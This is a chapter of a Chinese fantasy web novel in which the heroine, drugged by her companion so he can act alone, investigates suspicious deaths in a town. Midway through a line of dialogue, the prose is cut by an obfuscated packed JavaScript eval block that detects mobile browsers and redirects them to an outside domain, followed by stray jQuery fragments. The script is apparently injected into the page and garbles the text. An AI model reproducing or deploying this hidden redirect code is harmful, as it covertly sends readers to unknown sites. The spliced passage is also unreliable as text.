尤承则做的糖水,甜度适当,融入嘴中,香味十足。
褚黎吃得格外上头,待碗中见底,她有些意犹未尽地舔了舔自己的唇。
抬眸,看向已经投喂饱灵宠的男人,正准备和人说话,下一秒,褚黎便觉得眼前的景物开始头晕目眩了起来。
褚黎意识到了不对劲,使劲儿甩了甩头,但因为动作幅度极为之大,这会儿眩晕感更甚。
她感觉到尤承则朝这边靠了过来,拿过了自己手中的碗,相交的那一瞬间,恰好擦过了彼此指尖的皮肤,温度有些发烫。
正是这细微的动作,令褚黎心间的不安越发放大,她抬手扶住了自己沉重的脑袋,视线迷迷糊糊对上尤承则那张脸。
男人没有笑,也没有说话,白净的脸上不满郑重与严肃,眸中投射而来的视线炙热又无法忽视。
就在这么一刹那间,褚黎明白了,尤承则在糖水里下了药。
男人太了解自己了,知道她不会同意这个冒险的决定,于是决定用这种方式逼迫褚黎妥协。
此刻,无端的怒火涌上心头,褚黎惯性地攥紧拳头,想要好好发泄一通。
但她忘了药效。
她握不紧拳头,也控制不住自己的意识。
她微微仰头,忽地便朝尤承则的方向一栽。顷刻间,便落入了一个满是清香的怀抱之中。
褚黎全然没了思考的能力,瞬间合上了眼。
月光与灯火相交映之下,紧绷着身子的尤承则顿时松懈了下来。他垂眸,看着靠在自己胸膛睡着的人,鬼使神差地伸出了自己的手,指腹细微地摩挲着褚黎的脸庞。
长久的静默之后,他才小心翼翼地俯身,隔着褚黎的碎发,如实珍宝地在她脸上蜻蜓点水般落了一个吻。
“对不起,褚黎。”男人嗓音沉稳又不容置喙,在吵闹的街道处,格外有力,“原谅我太自私,不想让你只身冒险。”
-
次日,褚黎在床上醒来。
她睁眼,意识便回到了昨夜,未有片刻迟疑,从床上弹射而起,直接出门找人。
寻遍整个院子,未见尤承则本人,褚黎证实了,这并非一场梦,昨夜下药是真,她的推测也是真。
“小褚……”
熟悉的声音,让褚黎从焦灼的声音回过神来。
月蓁领着土豆,怀中抱着剩余的几只灵宠,略显局促地站在院门口。晨阳斜射,褚黎恰好看见了月蓁手中被攥地有些皱巴的纸。
她意识到了什么,上前。
月蓁将纸递给她。
那一封信。
上半部分是柳淮昭的落款,下半部分则是尤承则的落款。
柳淮昭写的内容很多,褚黎昨天的话他细想了很久,确实有愧,决定乔装成召唤师的模样和尤承则一同潜入史三的老巢。末尾处,他还特别祈求褚黎,希望能够多加照顾月蓁,不要让她太担心了。
至于尤承则,留下的几字如同他本人一般,冷淡又简洁——等我回来。
……谁要等他回来?
下药,还偷走她俩毛球儿子,他配吗?
褚黎气急,怒火难捱,本想暴力发泄一通,瞧见还不知情况与灵宠玩耍的土豆,瞬间忍住了。
她将信纸还给了月蓁,紧接着便听见人说道:“小褚,你说……他们会不会出什么事情?”
褚黎这会儿面色不太好看,脸色有些发白,但还是轻声安抚了几句。
可是细究而来,她自己也不知道这次是危险还是平安。
想到此,褚黎惶惶不安,手掌处的汗渍也是不断往外冒。她平复了很久自己紊乱的气息,问道:“月蓁姐知道他们是什么时候走的吗?”
“大概是卯时。我醒了,就听到一阵声,但是当时没多在意。”月蓁回忆着,“现在想来,应该是他俩动身的时候。”
“史三一般什么时候出摊?”
“辰时。”
动手这么早,尤承则,为了以身入局,还真是不择手段。
褚黎在心间感慨,随后招呼着土豆过来,说了几句好话,将自己的几只毛球抱进了怀中:“姐,这几天你和土豆先去我屋里带着。”
她交代完,又怕这两人安危,于是留下了火烈鸟,千叮咛万嘱咐它一定要保护好这对母子。
说完,褚黎也不等月蓁说话,径直走出了门。
心细如她,自然知道尤承则留她在这儿的目的。说是为了保护永宁小镇的居民,实则就是不想要她遇险。
只是褚黎性子并非懦弱退缩之人,她也没有耐性按照尤承则的话去等。
与其等待,不如主动出击。
横亘在自己面前的问题接踵而至,措手不及是常态,倒不如先入为主,见招拆招。
-
彼时已经是巳时,褚黎循着昨天的记忆,回到了史三摆摊的地方。
可蹲守约莫半个时辰,史三却不见踪影。
看来是今天的目标达成了。
褚黎心想着,眉宇下意识地拧紧,正摸不清头绪时,萨摩耶咧开嘴巴冲他哈气,随后抬起前脚指了指前面的一个摊贩。
那摊贩身形单薄,骨瘦如柴,看样子应该有六七十岁。
褚黎小心翼翼地跟过去,又怕对方发现,目测好安全距离后,停顿在一家卖菜的老人家旁。
她目光落在老人家的菜上,边挑选边和老人有一搭没一搭地聊着天。
“阿婆,那位算命先生你可认得不?”褚黎见人和善,顺势打探起了消息。
老人家点了点头,笑得极为高兴:“认识啊,小姑娘,你要找他呀?”
褚黎点了点头。
“那可不行哦!”老人家听到这话,喜悦的神色瞬间凝固,白色眉毛拧在一起,又说,“这人太危险咯,不要找他了。你们年轻人就是爱信些歪理,人生在世,享一天快乐算一天嘛,干嘛给自己徒增烦恼。”
“阿婆……你这话是什么意思呀?”
老人家沉重地叹了口气,被岁月洗礼的那张脸满是怅惘,她的目光看向先前史三摆摊的地方,缓缓说道:“老史那会儿为了养家糊口,给人算命,一开始还挺会排忧解难。可后来不知怎么的,这人开始无故作妖,明明是死物却说成活物,白的颠倒成黑的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15772308|167541||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,搞得镇上的人都担心极了,甚至有些人还为此自尽。”
“……那您?”
“我和他妻子经常往来。”说到这儿,老人又沉重地叹了一口气,“银儿也是个苦命人哦……两人一开始还和和睦睦的,不知怎么地后来就起了争执。银儿告诉我,史三背地里干了见不得光的勾当。我当时以为是史三又有了相好,劝了好长一段时间。直到后来,我想送点菜给银儿,发现她已经死了……”
褚黎心下一惊,瞬间全身起了一层鸡皮疙瘩,事情果然不似她所想的那么简单,只是听到这话,她依然觉得有些可怖。她又问:“为何不报官?”
“报了报了……他们说是自尽。”老人家又想到了什么,补充道,“自那之后,镇上接二连三出现了很多这样的事。特别是……像你这样带着灵宠闯荡的年轻人。”
“查出的结果都是自尽?”
老人家点头,又出声提醒:“是呀,永宁镇动荡不安,小姑娘还是快回去吧。”
褚黎没出声,她不赞同这个观点。
事情蹊跷,总要有人跳出来,将这个问题解决,还给永宁镇一个安宁。
她想着,余光又瞧见刚刚那位骨瘦如柴的摊贩,起了身,在顾客面前转一圈,背过去的手多了一包钱袋子。
褚黎蹙眉,又问:“那个人,阿婆你可认识?”
老人家循着褚黎目光瞧去,忽而嫌弃地说道:“他呀,陶荷,咱们这带臭名昭著的扒手了。我们呀都不爱和他打交道,他手不老实。”
“……哎哟,这外地里的娃娃太天真,又让陶扒手得手了。”
褚黎扯了扯嘴角,察觉到萨摩耶激动的样子,她没有犹豫地问出了自己的疑问:“史三和陶荷认识吗,他们是什么关系呀?”
“表兄弟。”老人家解答,又点评道,“一丘之貉,史三说哪儿他打哪儿,说白了,跟屁虫一个。”
说完,眼尖的褚黎,便察觉到陶荷已经开始对新来的灵宠召唤师下手了。
虽然离得有些远,但她仍旧听清楚了陶荷和新人说的话。
无非就是他觉得和人有眼缘,愿意给新人和他的灵宠算一卦,预测预测未来。这新人一看就年纪小,涉世未深,陶荷说了几句,他也没细想,点了点头,便应了下来。
嘶,头疼。
这明显就是骗局,为什么总有人会往坑里跳。
褚黎咋舌,下一秒,就见陶荷立刻换上了一副笑,这笑以褚黎的角度看来,无比惊悚又怖人。
怀中的萨摩耶扑棱着自己前腿,欲准备张嘴犬吠,褚黎投以警告,止住了一场灾难。
待萨摩耶安分,褚黎才用余眸继续打量。
“我算命的东西落在家中,你愿不愿意和我回趟家中?”
“可以呀,我已经迫不及待了!”
听到两人的对话,褚黎眉眼一凛。
机会来了。
盯着两人谈笑的样子,褚黎和老人家道过别,立刻跟了上去。
既然没有人整治这些恶俗交易,那她来!
至少,不能让更多像她这样的人,凋谢于此!